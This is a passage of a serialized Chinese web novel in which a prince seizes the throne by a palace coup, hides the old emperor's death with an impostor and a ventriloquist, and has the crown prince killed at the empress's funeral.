蜡烛燃烧过半,夜风吹动烛火,跃动的烛光明明暗暗,在墙上映出躁动不安的影子。 老皇帝坐在桌案前,神色专注地握着笔,在绢纸上作画。 总管太监李公公合上窗,轻声提醒。 “陛下时辰不早了,明日是皇后娘娘入昭陵的大日子,早点歇息吧。” 回头从小太监手里接过乌木托盘,托盘里放着一颗丹药,和一盏清茶。 老皇帝放下笔,服下丹药,亲自收起刚刚画的皇后年轻时候的画像,褪下衣袍,准备就寝。 宫人忽然进来禀告。 “陛下,荣王殿下有急事求见。” 老皇帝皱了皱眉,“这么晚了,有什么急事?” 顿了顿,脱下的外袍让王公公重新给他穿上,端坐到椅子里。 “让老九进来。” 不多时,沈惊澜走了进来,神色罕见地多了几分慌乱,行礼过后直奔主题。 “父皇,儿臣刚刚批阅奏折发现了这个。” 手中黄色绢面奏折递到老皇帝手里。 老皇帝展开奏折,脸色倏变,像是突然不认识字似的,盯着奏折一脸不可置信,看了又看。 沈惊澜为难地解释,“最近朝中事务繁多,这几日儿臣盯着母后入昭陵,诸事杂多,实在不知四皇兄是什么时候把这本奏折呈递上来的。” 老皇帝终于敛起颓靡之态,正了正坐姿,显出几分帝王之姿。 “朝臣呈递奏折需要中书官员核对,老四的这个折子估计是用了别的法子送到御书房的,明知道近日诸事繁忙,他这是什么意思?” “空口白牙说沈星驰伏兵于昭陵,欲逼宫篡位?沈星驰不过是一个小小的九品守门参将,拿什么逼宫,明日是他母后入昭陵的日子,沈星驰在犯浑也不至于在明日搞事。” 沈惊澜等老皇帝发完脾气,出声道。 “方才儿臣来见父皇之前,已经派人去核实了,皇宫外确实有异动,儿臣的人不敢贸然出宫,无法核实奏折中所述昭陵那边的情况。” 老皇帝信了沈惊澜几分,传来魏玮,让魏玮去探查。 魏玮是老皇帝亲信,负责京畿都城守卫以及老皇帝的安全。 一个时辰过后,魏玮身穿金色铠甲,回来禀告。 “回禀陛下,皇宫外三里有伏兵,粗略估计近万人,去往昭陵的路畅通无阻,恐有诈,微臣绕道一条少为人知的小路,去了昭陵,山上确实发现伏兵,都隐匿在树林里,数目不详。” 老皇帝终于相信了,脸色煞白,胸口堵着一口气,剧烈咳嗽起来,喷出一口瘀血,暗红色瘀血染红了大片衣襟。 “陛下保重龙体。” 李公公面带关切之色惊呼,端来一杯茶水伺候老皇帝漱口,手脚麻利地用帕子擦拭胸前血迹,拍着后背给老皇帝顺气。 老皇帝端坐在椅子里,紧紧握着座椅扶手。 “星驰那孩子真是糊涂啊,他居然真的敢逼宫篡位,在他母后入昭陵的日子,要了朕的命。” 痛心疾首骂了沈星驰,李公公在一边好言相劝。 “陛下息怒,当心身子,雍国的百姓还需要您呢。” 这句话精准拿捏了老皇帝命脉,怒骂声小了,正了正神色,吩咐魏玮。 “你去守住宫门,绝对不能让那些乱臣贼子冲进皇宫。” 别有深意地瞅了一眼魏玮,千万别伤害沈星驰性命,务必平安把人带回来。 “是。” 魏玮读懂了老皇帝眼神传递给他的信息,领命出去了。 李公公余光瞄了一眼沈惊澜,沈惊澜对他点点头。 李公公一脸难色,跟着恐慌起来。 “沈参将怎么能做出这种傻事?陛下可是掏心掏肺,也太让人寒心了,从哪弄来的兵马啊?” 抬眼看向老皇帝,“皇宫内的禁军只有五千,五千对一万……有点悬殊了?” “星驰看在陛下的面子上,应该不会怎么样。” 李公公自我安慰,实则给老皇帝听。 老皇帝刚吃了丹药,此时最忌讳情绪激动,老皇帝此时隐隐有头脑昏胀,心跳加快症状,仰头喘了半天粗气。 李公公的话他听进去了,五千的确是难敌一万兵力,况且沈星驰有备而来,他又不是不知道,东宫私下养的那些幕僚,估计这次是那些幕僚在撺掇沈星驰逼宫造反。 “取朕的兵符来。” 亲信魏玮被调走,眼下近前无人可用,老皇帝瞅了一眼李公公。 李公公赶紧摇头摆手。 “奴才半截身子都入土了,腿脚跟不上,可不行。” 迟疑半晌,浑浊的视线转向沈惊澜,眼底的警惕和疑虑逐渐消退,肃声道。 “沈惊澜。” “儿臣在。” “朕把兵符交付与你,你即刻持此兵符去调兵,务必剿灭那些乱臣贼子,保我雍国江山安稳。” 老皇帝说着,兵符缓缓递向沈惊澜。 沈惊澜心中一凛,单膝跪地,双手接过兵符,朗声道。 “儿臣领命,定不辱使命。” 说罢,他起身。 这章没有结束,请点击下一页继续阅读!沈惊澜站在原地,迟迟没有下一步动作。 老皇帝抬头看他,浑浊眼底闪过一抹疑惑。 “你怎么还不走?” 沈惊澜摩挲着虎符,质地坚硬,触感微凉,巴掌大的一小块玄铁,却可以调动整个雍国兵力。 他微微勾了勾唇角,晦暗不明的目光落在老皇帝身上,恭敬道。 “父皇赎罪,方才忘记告诉父皇了,皇宫外和昭陵山上的兵马都是儿臣的人,父皇尽管放心,没有儿臣命令,没有人敢轻举妄动。” 老皇帝讶然,瞪大眼睛,冷厉的视线刀子一样盯着沈惊澜。 “犯上作乱的……其实是你?” “是儿臣。” 沈惊澜坦然承认,顿了一瞬,解释道。 “本来是大哥,他从鄞郡调来两万精锐,想要父皇你的命,儿臣孝顺一些,想让父皇多活几日,大哥的人进城一个,我杀一个,进城两个我杀一双,刚好把我的人替换进去。” “你……你……” 老皇帝颤抖着指向沈惊澜,气得脸红脖子粗,半天说不出来话。 “来人,来人,将这个逆子拿下,就地格杀!” 话音落,殿外走进来一人,来人身形偏瘦,年纪不大看上去十六七岁,腰间别着一柄短刀,一身银光铠甲衬得人气宇轩昂的。 老皇帝低着头,没注意到他召唤过来砍沈惊澜脑袋的人,他从未见过。 小辛目不斜视走了进来,白了一眼老皇帝,对沈惊澜行了一个武将抱拳礼。 “阁主。” 喜欢质子摇身变帝王,诱哄我做正宫娘娘请大家收藏:()质子摇身变帝王,诱哄我做正宫娘娘更新速度全网最快。 第200章 昏君 老皇帝诧异抬头,疑惑地瞅了一眼身后的太监总管李公公。 李公公态度恭敬,一脸淡然,显然早已投靠了沈惊澜那个乱臣贼子。 老皇帝瞅了瞅李公公有看了看沈惊澜,后知后觉寻思过味来,视线最后落在沈惊澜身上,一脸决然,自嘲地笑了笑。 “想必朕身边是没人了?” 像是想起什么似的,眼底重新燃起希望。 “魏玮呢?” 声音抬高了好几分贝朝门外喊,“魏玮!” “父皇忘记了?魏将军方才已经被您派去守宫门了。” 魏玮绝对忠心老皇帝,是沈惊澜谋划的这场宫变中唯一的变数。 老皇帝若是不支走魏玮,稍微麻烦一些,今晚必然要见血了。 他拿捏准了老皇帝心思。 老皇帝得知沈星驰欲逼宫谋反,定会派一个信得过的人,偷偷把沈星驰保下来。 老皇帝若是足够信任沈惊澜,让沈惊澜去守宫门,保沈星驰,对于沈惊澜来说,将陷入被动局面。 沈惊澜赌老皇帝对他有戒心,赌老皇帝更信任亲信魏玮,会派魏玮去保沈星驰。 沈惊澜赌赢了。 实际上这又何尝不是个人情感在国之大义面前的选择,老皇帝明知道沈星驰逼宫谋逆罪不可恕还执意相救。 老皇帝若不是一国君主,可能会是一个好父亲,好丈夫。 可惜老皇帝毕竟是皇帝,他的小家思想和家国大义背道而驰,只会错得越来越远。 “父皇有什么吩咐,尽管差使儿臣。” 沈惊澜说话的时候,自顾走到桌案前,老皇帝怨毒的目光追视着他。 恶狠狠的齿尖溢出一句话,“你个贼子,朕就算是死,也不会遂了你的意。” “朕不下退位诏书,你弑君杀父,不忠不义之辈,你坐在龙椅之上也要遭天下人诟病,沈氏子孙早晚把你赶下去。” “父皇所言极是,可大哥一家的性命捏在儿臣手上……” 沈惊澜秉笔在纸上写下字,注意力专注在笔下,和老皇帝说话的语调慢了一些,片刻功夫一张纸密密麻麻写满了字,放下笔,接着说道。 “……也在您的一念之间。” 沈星驰一家的性命无疑是踩中了老皇帝的七寸,无奈又愤恨地瞪着沈惊澜不说话,破旧风箱似的大口大口喘着带着杂音的粗气。 李公公端着沈惊澜刚写完的纸,呈递到老皇帝面前。 老皇帝阴沉着脸,瞥了一眼,瞪大眼睛看向沈惊澜,眼底满是诧异。 “不是退位诏书?” 粗略扫了几眼纸上内容,面色比让他写退位诏书还难看。 “这是……” “罪己诏。”沈惊澜语气淡淡回答老皇帝的疑问。 老皇帝的指节骤然发白,将罪己诏攥得簌簌作响,墨迹未干的字迹刺得他眼眶生疼。 纸上详述老皇帝即位以来奢靡无度致使民不聊生,边疆失地、灾荒流民之祸尽数归咎于他,更纵容太子骄奢淫逸,不顾伦理纲常晦乱后宫。 “签了它,大哥一家的命就保住了,至于父皇你……” 沈惊澜自顾自坐到老皇帝平常坐的龙椅上,神色淡然地看向老皇帝。 “……父皇的名讳,史书工笔要在前面加上‘昏庸’二字了,往后历代君王将会旖旎为戒,何尝不算是名垂千古?” 老皇帝脸色煞白,浑身颤抖,一把撕碎罪己诏,发了狠,朝沈惊澜脸上扔去。 “朕是明君,这是污蔑——噗!” 老皇帝喷出一口鲜血,双眼一黑,整个人瘫倒在地,眼眸闭合。 一阵夜风吹来,朝沈惊澜掷过来的纸片,又吹回老皇帝身上,雪片一样落在身上,脸上,脑门上的纸片皱皱巴巴上写着“昏聩”二字。 此时老皇帝已没了为自己正名的力气。 这一晚,都城万家灯火,看起来和平常没什么两样,却有无数人难眠。 隔天,天蒙蒙亮。 从宫门口到玄武大街,一条长长的送葬队伍堵满了街道,皇后出殡,文武百官送葬,所过之处百姓沿途设祭。 昨夜宫门外埋伏的一万精兵,在沈惊澜的精密部署以及范天恩的配合下,活捉了老皇帝亲信魏玮,之后一万精兵悄无声息地退了出去。 开路禁军的领头人变成了范天恩,范天恩原本就是禁军出身,文武百官没怀疑,以为魏玮被老皇帝派去执行别的任务。 禁军开路,皇后灵柩在前,一驾八乘马车在后,马车雕刻九龙图样,透过车帘,能隐约看到马车内的人,瞧不清五官,风撩起车帘,能看见花白的头发,和身上穿的明黄色龙袍,远远看过去,和老皇帝身形有七八分相似。 马车后是皇子们以及皇室宗亲,文武百官紧随其后。 沈惊澜跟在皇子队列里,察觉到有视线在看他,他看了过去。 小辛换成一身寻常百姓的衣裳,对沈惊澜点点头,昭陵那边已布置妥当。 沈惊澜会意。 沈星驰如今在昭陵等着生擒老皇帝,这弑君杀父的罪名,必须安在沈星驰头上,永无承袭大统的可能。 荣王府大门紧闭,府兵手持刀剑,守住所有出入大门小门,就连从大虞搬来的两门火炮,昨晚都挪到院子里,以备不时之需。 一整晚安然无虞,没用上。 “昨晚应该是成了,用不用把院子里的两门火炮收起来,那么大的东西,摆在那,又吓唬人,又碍事。” 温若初对着铜镜,秋菊给她梳了一个简单发髻,从妆奁里拿出一只素色钗子,插进发髻里。 温若初对着铜镜左右看了看。 “先放着吧,王爷一日不回,便不可掉以轻心,守了一夜也累了,让他们轮流歇着。” 和沈惊澜约定,若是晚上没动静,就表示他那边成事了,若是有动静,家里的府兵和两门大炮足可支撑到天明。 月儿在一边伺候茶水,愤愤不平。 “姑爷控制了陛下,咱们就安全了,皇后做了那么多坏事,姑爷为什么还好心给皇后送葬?” 温若初起身点了一炷香,对着王首青雕像拜了拜,插进香炉里,解释月儿的疑惑。 “沈星驰到底做了三十几年的太子,无论是百姓,还是文武百官,都觉得沈星驰必定承袭大统。” “王爷登上皇位,保不齐有一些居心叵测的老顽固,利用沈星驰,攻讦王爷谋权篡位,为了以后不必要的麻烦,顺带把沈星驰的所有活路都堵死。” “左右沈星驰也是想逼宫篡位的,就把这个罪名让给他。” 第201章 乱军来袭,两个皇帝? 昭陵前围了一片白花花送葬队伍。 皇后棺椁被人抬进陵寝,众人哀切,黄纸满天。 龙撵在前,皇子宗亲以及众文武百官在后,正悲悲切切哭得伤心。 埋伏在山上的沈星驰,此时身穿黄金铠甲,头上戴着帅盔,硬是衬托出几分英勇之气出来。 沈星驰看着山下情景,送进陵寝的是他的母后,今日是母后出殡的日子。 他狠绝的脸上浮现一丝犹豫。 眼瞅时机成熟,副将见沈星驰迟迟没有动作,满脸着急上前提醒。 “皇上,山下只有几百禁军,陛下也在,正是动手好时机,再不动手陛下就走了,我们就失去机会了。” 沈星驰收回视线,扫了一眼身边众将领,深吸一口气,如今已箭在弦上不得不发,面色决然。 “动手!” 一声令下,只见无数道人影从山上树丛里窜出,迅雷之势围了过来,洪水一般黑压压袭来。 山下悲切哭声被喊打喊声覆盖,众人惊慌失措,马儿原地嘶鸣,面色慌乱,队形却不乱。 禁军快速做出反应,保护“老皇帝”,待领将凑近,众人惊呼。 “是废太子沈星驰,沈星驰这是要做什么?造反吗?” 一万兵力对几百,优势明显,从山上窜下来的乱军以包围之势围住老皇帝以及文武百官。 沈星驰一身黄金铠甲,一脸肃然,手持长刀,直奔老皇帝龙撵走来。 “父皇,朕不愿为难你,跟朕回去,昭告天下,这皇位是朕的,”拿出早准备好的传位诏书,让人递到马车里。“盖上玉玺,朕可以让这些人都活着。” “您若是不同意,”沈星驰瞅了一眼众文武百官,“朕只能拿他们开刀了。” 众人大惊。 “沈星驰你这个乱臣贼子,你居然敢谋反?” “你已经被贬为庶人了,还有何脸面到皇后陵寝前挟持陛下和文武百官?” “不忠不孝不仁不义之辈,就不怕遭了报应。” 沈星驰听不得旁人说他不好,瞪着眼睛理论。 “朕是父皇的母后唯一嫡子,这个皇位本就是朕的,朕只是要回自己的东西。” 略显失控疯狂的目光扫视一圈,落在沈惊澜身上,抬手一指。 “是沈惊澜!是沈惊澜妖言惑众,蛊惑了父皇,你们……你们可别忘了,沈惊澜的母亲可是寒妃,寒妃是寒族第一巫女。” “父皇最好同意,自己少遭罪,朕也省得麻烦。父皇若是不同意……” 看向皇子宗亲和朝臣们。 “……朕就每隔一个时辰杀一个人,先从沈惊澜开始,不对,沈惊澜你得看着朕登基,你若是愿意,朕念在寒妃的面子上,可以让你继续做皇子,哈哈哈。” 沈星驰不怕死地当着沈惊澜的面提起寒妃,平常也是不提,可今日局势有利于他,这些人都是他案板上的鱼肉,他手里握着刀,掌握他们的生杀大权,他没什么可怕的。 沈惊澜面色阴沉,看向沈星驰的目光,如淬了毒的刀子。 经过沈星驰的提醒,众人想起寒族曾因巫蛊之术叱咤西南几百年,也因皇权斗争,有人用巫蛊之术,屠了整个寒族。 现存的寒族人少之又少,不知当年寒族发生了什么事,关于寒族也只是口耳相传,传言五花八门,越传越离谱,更给寒族蒙上了一层神秘面纱。 众人只道:寒族邪性。 众人交头接耳,小声议论。 原本站在沈惊澜身边的几个人都不觉和他拉开了一些距离。 正当众人小声议论之时,局势突然发生变化,也不知从哪里冒出来一支骑兵,迅速朝这边集结过来,摧枯拉朽之势冲散了沈星驰的队伍。 眨眼之间,众人还来不及做出反应,几十个人倒下,如利刃落在豆腐上,不费吹灰之力杀出一条路出来。 小辛一个利落翻身下马,收起滴血短刀,阔步走到沈惊澜面前,恭敬抱拳道。 “属下来迟,王爷恕罪,周围乱军已彻底清缴干净。” 瞅了一眼沈星驰身后乌泱泱官兵。 “就剩下这几个软脚虾。” 步兵和骑兵无论是装备还是单兵素质,差着十万八千里,沈星驰虽然有数量上的优势,却大大不如装备精良的骑兵。 冲过来的这支亲骑兵,马匹高大健硕,毛色油光发亮,一看就是精心喂养训练出来的战马,马上的将士各个英勇不凡,身穿铠甲,大刀长矛闪着雪亮的光。 队伍乱而有序,内行人一看便知是某种作战队形。 小辛说的有些大言不惭,带着浓浓的鄙视之意,却没人敢反驳,包括沈星驰那样一个狂妄自大的人,也不敢轻视,因为他知道小辛说的是真的。 两相对比,他的队伍在人家眼里可不就是软脚虾。 只是……他明明计划得万无一失,怎么会如此? 除非他们中间出现了叛徒。 等了这么久,也差不多让沈星驰蹦跶够了。 沈星驰不是傻子,昭陵附近埋伏一些兵马欲挟持老皇帝和文武百官,逼迫老皇帝退位。 这厮还留了后手,怕事情败露,在距离昭陵三十里埋伏了人,策应他后撤,当然策应他后撤的这队兵马,沈星驰手下的这些将领的幕僚并不知情,只有沈星驰自己知道。 沈惊澜也是一大早刚刚得知,让小辛带人去处理。 为避免打草惊蛇,等沈星驰这边沉不住气动手,小辛那边才动手,彻底切断了沈星驰的退路。 小辛故而来迟了一些。 沈惊澜淡淡地嗯了一声。 看到了沈星驰眼底的疑惑,回身对四皇子沈雨霁行了一个礼。 “今日能让沈星驰露出不忠不义不忠不孝真面目,多亏四皇兄提前告知。” 四皇子沈雨霁面上闪过慌乱,以为沈惊澜悄无声息地把沈星驰办了,没想到沈惊澜竟然能如此沉得住气。他的一石二鸟计划落空。 看来今日只能解决掉一个,回去和上官他们重新谋划解决沈惊澜。 沈雨霁那张儒雅的脸上,快速闪过一丝慌乱,沈惊澜提出来了,老皇帝在这,不好当着老皇帝和文武百官的面否认。 也只能硬着头皮认下,通风报信,背叛沈星驰的人是他。 他已经提前安排好了,就算沈惊澜不杀沈星驰,沈星驰也是要死的。 左右沈星驰今日必然死在这,承认也没什么大不了的。 沈雨霁扯了扯嘴角,尴尬地点头。 第202章 真皇帝哪去了? 沈星驰恶狠狠地瞪着沈雨霁,面目狰狞切齿道。 “是你!” 抬刀就要冲过来,被两个骑兵挡住,长矛精准扎在他脚前一寸,稍稍多用一分力,他的脚就要被扎成一个大窟窿。 沈星驰不敢前进一步,气势一下子就弱了。 局势逆转,沈星驰的乱军被控制,他们得救了。 众人看向沈惊澜的目光如同看着救世主,活菩萨,方才和沈惊澜拉开距离的几人,跃跃欲试凑到沈惊澜身后,唯恐乱军刀刃落在他们身上。 沈星驰一脸惧色地盯着沈惊澜,就连他身后的军官将领也由进攻转变为防守,底气不足地拿着刀,眼底掩饰不住的恐惧之色。 后路没了,沈星驰见大势已去,丢下手中长刀,扑通一声跪在龙撵前,变脸比翻书还快,声泪俱下哭诉,求饶。 “父皇儿臣知道错了,儿臣是母后留下的唯一骨血,母后生前最疼爱儿臣,母后尸骨未寒,您也不愿看到母后伤心,儿臣……儿臣愿意为母后守灵。” “儿臣一时糊涂,并不想对父皇您怎么样,”指着身后一众将领,“是他们……是他们撺掇儿臣,让儿臣骑兵逼宫造反。” 又抬手指了两个朝臣,“还有兵部侍郎左禅,工部尚书周丰茂……” 一口气说出十几个人的名字,视线继续在众人中搜寻,如阎王点卯一般,点到名字的膝盖发软,自觉跪在龙撵前求饶。 沈星驰目光落在四皇子沈雨霁身上,张嘴刚要指出沈雨霁,喉咙突然一紧,竟发不出一个音节。 像是被什么东西堵住了嗓子,双目圆瞪,眼球憋得通红而凸出,沈星驰表情痛苦,自己抓挠自己的脖子,脖颈青筋暴突,没一会儿,被自己抓挠得血肉模糊,瘫倒在地。 瞪大眼睛求助地看向龙撵里的人,风吹动车帘,沈星驰栽倒的方向恰好能看清龙撵里人的脸,竟然不是父皇。 难怪,父皇倘若在这里,一定会原谅他的,他很小的时候,父皇就说过这雍国的皇位,未来就是他的。 不管他犯了多大的错,父皇都会原谅,还会精心为他善后。 他决定在昭陵设伏兵挟持父皇和文武百官的时候,他就没想过自己会死,因为父皇一定会给他留一条活路。 今天是母后入昭陵的大日子,父皇母后伉俪情深,父皇若是活着一定会来。 父皇居然没来,来的是一个假货。 真的父皇…… 很可能被沈惊澜弄死了。 他想告诉满朝文武,告诉天下人,可惜喉咙里有东西在扯咬着他,他发不出任何声音。 不多时,无意识呕出一口黑红鲜血,两眼一白,断了最后一口气。 众人只见沈星驰举止怪异,逼宫谋反失败,自觉罪孽深重,自己把自己掐死了。 沈星驰死了,众人神色各异,或拍手称快,或叹息不忍,也有没来得及被沈星驰指出来的幕僚贼子,庆幸沈星驰闭上了嘴巴。 跟在沈雨霁身后的官兵将领,已经被小辛带来的骑兵控制。 沈雨霁站在众人中,暗暗松了一口气,瞅了一眼倒在地上的沈星驰,又错开视线看向昭陵山上树林深处。 上官此时应该就在那边看着山下发生的一切。 暗道:寒族的巫蛊之术果然厉害,又欠了上官一个人情。 山上人似有所感,一道镜面反射强光,落在龙撵上。 沈雨霁强光看了过去,思忖半晌,察觉到异常,从龙撵出宫门开始,老皇帝就没说过一句话。 瞅了一眼沈惊澜,试探凑到马车近前,透过半透的车帘,低着头,余光仔细观察马车里的人。 “父皇,贼子沈雨霁已伏诛,该如何处理。” 话音落,一把扯掉车帘,大惊。 “你受何人指使,胆敢冒充陛下?” 引导性的提问,问题直中要害。 最近沈惊澜代处理国事,几乎一手遮天,能做到神不知鬼不觉指使人冒充老皇帝的,也只有沈惊澜能做到。 众人还在窃窃私语沈星驰的死,被沈雨霁的一惊一乍吸引去了注意力,这才注意到龙撵里的老头竟然不是老皇帝。 古叔慢悠悠从龙撵里钻出来,捏肩捶腿。 “冒充皇帝还真不是什么好事,一动不能动,可累死老夫了。” “我说你们这些人真是不知好歹,要不是荣王殿下提前得知沈星驰犯上作乱,提前部署,你们这些人的脑袋有几个够砍的。” “今天若是老皇帝在这,你们的脑袋掉了也是白掉,没准还得给你们安一个乱臣贼子的罪名。” “荣王命老夫冒充老皇帝,引沈星驰上钩,你们应该感激荣王救了你们性命。” 众人点头称是,感恩戴德道谢。 “荣王殿下高瞻远瞩,今日不光救了我等,更是救了雍国,救了雍国百姓免遭涂炭。” “如此深明大义,有谋略有担当之人,当属我朝表率。” 人群中总有不一样的声音,四皇子沈雨霁再次把话题拉到关键地方,状似不经意地问。 “九皇弟果然谋略过人,乱臣贼子已伏诛,想必父皇定然安然无恙,那父皇如今身在何处?” “众位大人也好将今日事详表奏请,为九皇弟请功。” “父皇和母后伉俪情深,母后入昭陵,父皇为何不送母后最后一程?” 世人皆知老皇帝和皇后伉俪情深,皇后薨逝之后,老皇帝茶不思饭不想,每日对着皇后画像发呆。 老皇帝对皇后入昭陵格外重视,今日就算是为了引沈星驰出现,他自己也绝对要来送皇后。 老皇帝没出现,只能说明老皇帝不能来,被人挟持,或者干脆被人弑君了。 所有人的目光,又不约而同聚集在沈惊澜身上,收起赞美之色,目光带着恶意揣测。 冒充天子,当属重罪。 有人问,“荣王殿下,陛下呢?今日必须给个说法!” 喜欢质子摇身变帝王,诱哄我做正宫娘娘请大家收藏:()质子摇身变帝王,诱哄我做正宫娘娘更新速度全网最快。 第203章 老皇帝的又一个绿帽 “父皇看到四皇兄的奏折,得知沈星驰欲弑君犯上作乱,急火攻心病倒了,命本王全权处理沈星驰和乱军。” 沈惊澜披麻戴孝,面色坦然,眼底带着对亲人突发疾病的焦急和关切,他语气真挚。 面上不见一丝撒谎的样子,众人信了沈惊澜的说法。 沈雨霁面上闪过狐疑,眼珠子一转,提议道。 “父皇既然病了,那就更应该去看看,大家劝一劝,兴许父皇心底郁结通了,病也就好了,也好让诸位大人安心。” 小辛瞪了一眼沈雨霁,愤愤道。 “怎么这么多废话,我家王爷都说了,陛下病倒了在御乾宫歇着,你执意前去,安的是什么心思。” 沈惊澜抬手制止了小辛的不满抱怨,和众位朝臣解释。 “各位大人见谅,本王御下不严,诸位见笑了。” 让小辛道了一个歉,一脸温和地继续道。 “诸位大人既然执意想见陛下,那便随本王来吧。” 一个时辰后,御乾宫,老皇帝寝宫。 众人在外间跪拜行礼,齐声高呼万岁。 “众位爱卿免礼平身。” 老皇帝依靠在床榻里,孙美人伺候服用汤药,总管太监李公公时而进出伺候茶水,时而吩咐人端茶点进来。 里间用一层纱帘隔着,影影绰绰的瞧得有些不真切,足可见老皇帝身影。 老皇帝的亲信,禁军统领魏玮还进来禀告过一次。 众人见老皇帝确实如沈惊澜所说,确实被气得病倒了,没有被挟持,也没有死,心里疑虑打消了。 众人劝了老皇帝几句“保重龙体”“息怒”之类的话。 “诸位爱卿挂念朕的身子,朕记下了,朕老了,体力和精力都跟不上了。” “老皇帝”打了一个哈欠,“朕累了,都回去吧。” “臣等告退。” 沈惊澜照常走在最后,回头透过挂在里间纱帘瞅了一眼“老皇帝”,嘴角勾起满意笑意。 其实只要再凑近一些,仔细观察就会发现“老皇帝”脸色青灰,歪靠在床头姿势一动不动,气息全无,已经是个死人了。 之所以能和满朝文武正常说话,是因为床榻里侧藏着一个口技艺人。 总管太监里公公早已成了沈惊澜的人,自然是会配合沈惊澜。 至于孙美人和魏玮也能配合沈惊澜,要从一个月前说起。 皇后刚刚殡天,老皇帝不仅无心政务,对宫妃也不上心。 魏玮是禁军统领有接触宫妃的机会,也不知道怎么回事,孙美人和魏将军之间生了私情。 原是极隐蔽的事,昨夜沈惊澜命古叔假扮老皇帝,这位孙美人碰巧过来给老皇帝送什么参汤,撞见了古叔穿龙袍。 孙美人要大喊,小辛的手没轻没重的,情急之下一巴掌拍晕了孙美人。 撞破了他们的事,必须处理掉孙美人,以免坏事,就在古叔和小辛打算处理掉孙美人的时候,古叔无意间切了孙美人的脉,竟然发现这位孙美人有了喜脉。 弄醒孙美人审问之下得知,肚子里的孩子是魏玮的。 雍国礼制,皇帝驾崩,无所出的宫妃要殉葬,老皇帝死了,早晚会被世人所知,孙美人必然要为老皇帝殉葬。 若是和人苟合珠胎暗结,被人知晓,不仅孙美人和魏玮性命难保,孙家和魏家也要受牵连。 老皇帝死了,沈惊澜当时正不知如何应付魏玮,筹码就自己撞到他手上了。 沈惊澜用孙美人和这个孩子当做筹码,说服魏玮配合,并且承诺事后可保孙美人母子平安,设计孙美人假死,给孙美人一个新身份,放孙美人自由。 他开出的条件很诱人,对于魏玮来说,他别无选择,从魏玮对孙美人生出不该有的心思那刻,就已经算是背叛了老皇帝。 魏玮对老皇帝的忠心早就无了。 魏玮被关在御乾宫一间房间内,为了表示诚意,沈惊澜让人松了绑在魏玮身上的绳子。 魏玮阴沉着脸思忖半晌,像是不放心似的,瞅了沈惊澜好几眼。 “你得保证他们娘俩的安全。” 明明自己生死无望,却先想着自己的女人和孩子,沈惊澜敬魏玮是条汉子,眼底满是赞赏之色。 “本王答应你,你要你愿意配合,本王保你和孙美人安枕无忧,过后不会有人找你麻烦。” 魏玮对沈惊澜行了一个武将礼,单膝跪地。 “属下愿意配合王爷。” 沈星驰犯上作乱,老皇帝若是突然驾崩,必然已经猜测和恐慌,为避免不必要的麻烦,老皇帝驾崩的消息,沈惊澜决定秘而不宣。 待稍作稳定,寻个时机,再广而告之。 就这样,魏玮是老皇帝亲信,孙美人是老皇帝宠妾,李公公是老皇帝内侍,于是就有了今天这出戏。 隔天,文武百官上早朝,老皇帝照例没来,李公公捧着圣旨,迈着四方步,抬头挺胸,阔步走进大殿。 尖细拉着长调的嗓音,穿过众人耳膜。 “圣旨到——” 众人呼呼啦啦跪地。 李公公余光瞄了一眼沈惊澜,清了清嗓子。 “奉天承运皇帝诏曰:朕践祚三十余秋,本欲效法尧舜,垂拱而治,然德不配位,罪累如山,今抚膺泣血,向天下谢罪!” “自即位以来,朕错信奸佞,致使豺狼满朝,忠良蒙冤,纵容长子沈星驰,骄奢淫逸,会乱后宫,贪图奢靡,耗尽民脂民膏。” “朕常对镜自省,见白发如霜,目昏手颤,既无心力再理万机,更无颜面忝居大宝,幸有九皇子沈惊澜,天纵英姿,心怀仁德,其德可配天地,其智堪定乾坤,实乃天命所归之主。” “今朕效法先贤禅让之义,将传国玉玺、金册龙印尽付沈惊澜。望诸臣工弃旧图新,辅佐新君,共造太平盛世,钦此!” 老皇帝的圣旨是退位诏书,也是罪己诏,更是对沈惊澜累累罪行的控诉与昭示。 有昭陵挟持朝臣的那一出,被沈星驰当场指证同流的朝臣被就地诛杀了,沈星驰被老皇帝亲自定罪,剩下的朝臣纷纷上表详述沈星驰罪行,撇清和沈星驰的关系。 详表内容事无巨细,里面包括沈星驰强辱宫妃的折子,沈惊澜直接批阅,开玉牒,除去沈星驰的名字。 水到渠成,谁也说不出一个不字。 老皇帝传位于沈惊澜,登基大典七日后举行。 喜欢质子摇身变帝王,诱哄我做正宫娘娘请大家收藏:()质子摇身变帝王,诱哄我做正宫娘娘更新速度全网最快。 第204章 早晚都要回大虞 荣王府 一大早有人传话给温若初,老皇帝下了退位诏书,沈惊澜承袭皇位。 府里像是炸开了锅,冯文特意在院子里燃了烟花爆竹。 温若初也高兴,不像是冯文他们似的,有那么大的情绪起伏。一直以来沈惊澜的目标都很明确就是报仇,她也相信他能做到,宰了沈星驰和老皇帝,沈惊澜确实做到了。 书中沈惊澜人生轨迹亦是如此,杀了沈星驰和老皇帝,自己做上了皇位。 高兴的同时,心里也不免担心起来,沈惊澜坐了皇位没多久就突然暴毙身亡了,好像他的一生只是为报仇而活。 沈惊澜如今大仇得报,坐上了皇位,接下来沈惊澜是不是就要…… 正胡思乱想,门房的人通传。 “娘娘,大虞使臣凌玄礼凌大人求见。” 碍于沈惊澜,温若初基本上不会单独见凌玄礼,凌玄礼也很少单独见她。 前阵子温若初把上官在都城的消息告诉了凌玄礼,还让沈惊澜派了人手配合凌玄礼。 折腾了几日,连上官的影子都没瞧见,四皇子沈雨霁那边也一直没接触上官。 抓捕上官的事,只能暂时搁置下来。 沈惊澜接连两日没回府,温若初以为凌玄礼来见她是有什么急事,或者是凌玄礼要回大虞上京,来跟她打声招呼。 让人把凌玄礼请去前厅。 温若初换了一身衣裳去见凌玄礼。 寒暄客套几句,凌玄礼话锋一转,眸色认真地看着她。 “如今谨之大事已成,也没有什么挂心的了,雍国到底是异国他乡,不如家里好,皇祖母也时常想念你,你……” 凌玄礼看着温若初,眼底隐着几分希冀,犹豫问道。 “……要不要回去?” 前几日温若初收到大虞的信,女皇近几日身子不大爽利,温若初担心了几日,后来又来消息说女皇身子又好了。 沈惊澜如今是雍国皇帝了,不出意外她是皇后,出宫一次不知道要有多麻烦,都城和上京距离几千里,隔着千山万水。 女皇年纪也大了,能见面的次数不多,有时间真的该回去看看女皇。 凌玄礼说得吞吞吐吐,温若初以为凌玄礼是想让她回去看看女皇。 “过几日登大典结束,这边稳定下来,我会回上京看望外祖父母。” 凌玄礼眼底在旁人难以察觉到的地方闪过失落,用只有自己能听到的声音嘀咕。 “只是回去看望圣人吗?” 凌玄礼坐在椅子里坐姿端正,端起茶盏抿了一口茶,茶盏遮挡住了半张脸,让人瞧不出他的情绪。 